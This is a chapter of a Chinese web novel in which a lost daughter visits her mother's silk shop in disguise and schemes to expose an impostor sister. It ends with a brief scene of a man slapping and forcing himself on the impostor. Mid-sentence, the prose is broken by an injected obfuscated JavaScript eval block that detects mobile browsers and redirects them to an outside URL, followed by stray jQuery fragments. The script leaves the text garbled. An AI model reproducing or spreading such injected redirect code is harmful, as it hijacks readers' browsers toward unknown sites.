77. 第 77 章
作品:《被我渣了的前任们[修罗场]》 77
“夫人,今年的元宵馅儿,包的甜口的还是咸口的?”
“自然得是咸的。落儿啊,打小便喜欢咸香的……”
徐夫人下意识脱口而出,手上抱着一匹浅紫流光绸缎,整理的动作舒尔一顿。
“夫人……”
厨房的丫鬟站在店内,望着徐夫人的背影,目光闪动,声音小而怯。
片刻,徐夫人直起身,猝然回过神来,正色道:“换成甜口的,欣冉喜欢吃。”
丫鬟应了一声,连忙推开隔门,转身进了后院厨房传话。
将此情此景收入眼中,站在门槛前的徐星落抬起手,指节微屈,敲了敲右侧敞开的店铺门板。
听到了动静,徐夫人慢慢转过身来。
“敢问夫人,今日可还开张?”
生意一贯冷清的徐氏绸缎庄,在这一日,来了位貌美年轻的女客人。
“我今日须得定好一些布匹,好给娘亲做些春装,劳烦夫人了。”
徐夫人一眼见到这位年轻的女客,便莫名觉着有些熟悉。
她迎上前,笑道:“难为姑娘孝心一片,只是……”
眼前的妇人虽然上了年纪,柳叶黛眉,清透的双眸间,丝毫不掩她年轻时候的风华。
徐星落收回视线,心底越发感慨,如果说时慕是高墙上华贵艳丽带刺的玫瑰,那眼前的徐夫人便是身处在寻常小院里不争不抢盛放的蔷薇。
只见她温温柔柔,不急不缓地告诉徐星落,“得知道你家那位的大致身量,方可买得适当。”
徐星落心念一动,强忍下喉间的酸涩,艰难地挤出一声叹息:
“我与妹妹自幼被拐走,记忆早已模糊不清……只是今日见到了夫人您,顿觉您的眉眼,还有身段,让我好似瞧见了昔日娘亲的影子。”
闻言,徐夫人眸光闪烁,心间的柔软处越发被触动。
她扬起嘴角,强压着拉住眼前人的手的念头,建议道:“不介意的话,照着我的身量来计算,可好?”
徐星落沉默了片刻,继而欣然点头,主动地拉起她的手,笑答:“如此,真是太感谢夫人了。”
徐星落选了几个颜色,作势便要店里的伙计捞起好几匹的布料。
“不不不,不需要这样多。”徐夫人拦下。
徐星落转身,困惑地盯着她瞧。
“这些属实多了,买回家中,若无旁的用途,便是徒增闲置了。”
闻言,徐星落暗暗感慨,自家娘亲这般实诚,也难怪生意不大好,若是寻常奸商,嘴巴说得天花乱坠,巴不得客人多买些布料回去屯着。
“夫人莫要为我担忧,既是送给娘亲的,自然不会嫌多,做了衣裳外,有多的,还能做些旁的物件。”
徐星落试图说服她。
徐夫人却是望着眼前人,微微出神了。
因着顾念这姑娘年幼的遭遇,又见她眉眼颇有几分故人之姿,徐夫人不禁心想──若是自家落儿尚在人世,是否也能出落得如她这般窈窕生动?
“夫人您怎的红了眼眶?因何事伤心?”
徐星落忙自袖中取出帕子,递上前去。
摆了摆手,徐夫人推了推那张帕子,故作轻松自哂:“瞧我,怎的还在客人面前失了态。”
徐星落捏着帕子,点了点徐夫人的眼角,温声安抚:“我的娘亲想来与您的年纪相仿,我与您一见如故,如若不介意,您有什么难言之隐,大可同我说说。正所谓,旁观者清……”
“哎,今个儿是元宵,好端端的,还是莫要扫了你的兴了。”徐夫人摇了摇头,叹道,余光忽的注意到徐星落手里的那块帕子,“这做工……”
徐星落轻眨了眨眼,嘴角泛开了一层笑意,脸颊微微泛红,“这是一位故人所赠。”
徐夫人眼中掠过一丝惊异。
“对了,今个儿若是挑好了料子,便劳烦店里的伙计将它们送到老街口的裁缝铺子,交给步师傅。”徐星落说着,便要从腰间取下一枚浅紫色绣工精美的囊袋。
徐夫人凝眸,注意到她方才的帕子和腰间囊袋的做工,皆出自同一人的手笔。
多年来,徐夫人见过的布料针脚不计其数,但唯独此人的手笔,整个江城都找不出第二人来。
徐夫人眼眸泛起了暗色,迟疑了会儿,还是开口道:“步迟……他基本不接手女客的衣样款式,店里的那些女装,都是他教导学徒们做的。”
“这样啊,我慕名而来,竟是这般不巧。”徐星落掂了掂装满钱币,显得鼓鼓囊囊的绣袋,眼中泛起一弯憾色。
“实不相瞒,他与我的长女幼时有情谊,这些年来,他一直对我家女儿念念不忘。”徐夫人语气沉重,声音有些发颤,她明白这样的解释对于眼前的姑娘来说有多残忍。
徐星落不负期望,一时“失手”,不慎掉落了那枚绣囊。
隔着囊袋的布料,沉甸甸的钱币砸在地砖上,发出沉闷的声响,其中似乎还夹杂着一股轻铃晃动的声音。
徐夫人一惊,弯腰替她拾起。
徐星落伸出双手,很是珍惜接过那枚缀着穗子的囊袋,打开口子,将钱币尽数掏出,放在柜台前。
紧接着,徐星落把袋口扒拉得更大了些,担忧的视线更是在囊袋中翻来覆去,扫荡了好几回。
徐夫人有些诧异,最要紧的不应当是点数钱币么?
怎么里头还有更重要的物什?
徐星落长吁一口气,如释重负:“还好,没有损坏。”
察觉到徐夫人诧异且困惑的眸光,徐星落解释道:
“妹妹先前被暗雀阁的人掳走,只剩下这两枚掉落的小铃铛……”说着,徐星落果真从那囊袋中拿出来两枚陈旧的斑驳划痕的金色葡萄大小的铃铛。
“你是说,这铃铛,是你的?”徐夫人一向温婉的语调,在此刻竟有些克制不住地颤抖起来。
“自然。我与妹妹幼时被拐走,每每快要撑不下去的时候,便靠着爹娘给的信物睹物思人,好不容易逃出,妹妹又被暗雀阁的人抓走……如今,我只有它们了,看着它们,我总会想起,妹妹每次生病的时候总是抱着我,嚷嚷着要吃咸口的元宵……”
说着,徐星落深深叹了口气,眼角渗出了几缕浓郁的哀伤,自责道:“我弄丢了妹妹,如今这信物可万不能再丢了。”
闻言,徐夫人禁不住攥紧了袖子,回想起幼时的徐欣冉,那会儿她要学着姐姐模样,像只小尾巴缠着自个儿,闹着也要吃咸口的。
只是女大十八变,如今的欣冉早也换了口味……
瞥见徐星落的愁眉,徐夫人不由得垂首,心下颇有些唏嘘。
店里的老伙计正搬货进屋,见状,脚步猛地一顿。
这位女客脸上这般忧愁的神情,瞧着竟与徐夫人有些相似。
注意到老伙计的目光,徐夫人指了指最右边柜子的第三层,温声道:“老平,把货放在那里便可,忙活了一上午,早些去后厨吃饭吧。”
“哎哎,多谢夫人。”被叫“老平”的老伙计对着徐夫人欠了欠身,末了,还不忘多看了徐星落好几眼。
下了台阶,一路进了后院,老平仍旧忍不住在嘴里嘀咕:这世间,怎么会有如此相像之人?
老平不禁抬头望了望天,大小姐,你在天有灵,莫不是派了个好友来陪夫人了?
“这一时半会儿的,布料着实难挑,今个儿元宵节,姑娘不知从何处远道而来,舟车劳顿,不若在此用个便饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980513|150122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”徐夫人顿了顿,随即又道:“若是姑娘急着与娘亲团聚,恕我方才多言了。”
虽是这般说,徐夫人仍旧不忘望着她,眼里写着殷切的期待。
徐星落摇了摇头。
徐夫人心下有些失落,攥紧了袖子,刚要催促伙计们进新货的动作快些,却被徐星落挽住了手,“夫人盛情,我属实难却。”
闻言,徐夫人忙拉着徐星落往后院走。
环顾着满桌的菜肴,徐夫人盯着左手边空缺的位置,“欣冉人呢?”
服侍在旁的丫鬟们面面相觑,低头抿唇不语,这大过节的,谁知道二小姐又跑到何处鬼混去了……
徐夫人提起筷子,朝徐星落微笑:“不必等她了,我们先吃。”
“多谢夫人款待。”
日头渐沉落,晚霞满天,街边的灯笼陆陆续续挂了起来,已经有些人提早放了烟火。
“小姐可算回来了,家里来了客人,夫人要小姐去见见。”
原本抱着给腹中的孩子找个便宜爹,哪知在酒楼被人泼了一身的酒水,羞辱了一番,细蕊悻悻然回到绸缎庄,此刻憋着一肚子气无处撒,“什么客人,男的女的?”
“是位姑娘。”
“哼,有什么好见的,我累了回屋休息。”一个女的而已,细蕊不屑一顾,抬步便要上楼补觉。
老平不用走近,都能闻到二小姐身上飘出来的酒气,其他的下人们亦是察觉到了这其中的异样,纷纷见怪不怪,继续干着手里的活儿。
二小姐酗酒,惯爱出去玩,已经不是寻常事了。
徐夫人顾念二小姐这些年流落在外,受尽了苦头,一开始总是纵着宠着,如今……
府上的家产已经被二小姐败得差不多了,加上二小姐在外头的名声,还连累了整个绸缎庄的生意,如今只剩下一个全徐家的人赖以生存的店铺了。
之所以他们这些做伙计丫鬟的愿意留在这儿,无非是记挂着先前徐老爷在世的时候对他们不薄,且徐夫人也是个好相与的。
只是这二小姐……
真是家门不幸啊……
徐星落一直和徐夫人聊到了日暮时分,起身便要走。
“天色晚了,恕我唐突,姑娘不妨再歇息一晚,明日再赶路?”徐夫人起身,亲昵地揽住了徐星落的胳膊。
“是啊,姑娘一来,咱们夫人好久都不曾似今日这般开怀畅快了。”
这一切,都在徐星落的筹划之下,一步步实现。
眼下,只要寻个恰当的时机,将那细蕊的短处暴露在徐家人眼前,事情便能尘埃落定了。
暗雀阁已毁,真正的鸟儿也当归巢。
那细蕊鸠占鹊巢之事,如今也要有个了断。
——
月上柳梢。
“唔!你怎么混进来的?”
“后门开着,我大大方方走进来的。”
今个儿元宵灯会,来来往往热闹得很,想来是哪个下人喝多了酒,忘记关门了。
细蕊大骇,又生怕把府上的人叫来,只好压着嗓子,费力地推搡着埋在被子里的某个脑袋。
“啪!”
被那人抬手狠狠掴了一巴掌,细蕊当即脑袋发懵。
“贱货,装什么装?昨个儿不才刚睡过!”
一把揪住她的头发,那人狠狠扒拉着她的衣裳,没有丝毫犹豫便压了上去。
“你,你……”很快,惊恐声便转换为一阵阵隐忍的吟哦。
徐星落站在二楼栏杆前,冷眼望着那敞开的后门,目光幽深。
见时候差不多了,徐星落路过了那间房门,里头传来了不堪入耳的声响。
撇了撇唇,徐星落抬手,抓乱了发丝,往拐角处走去。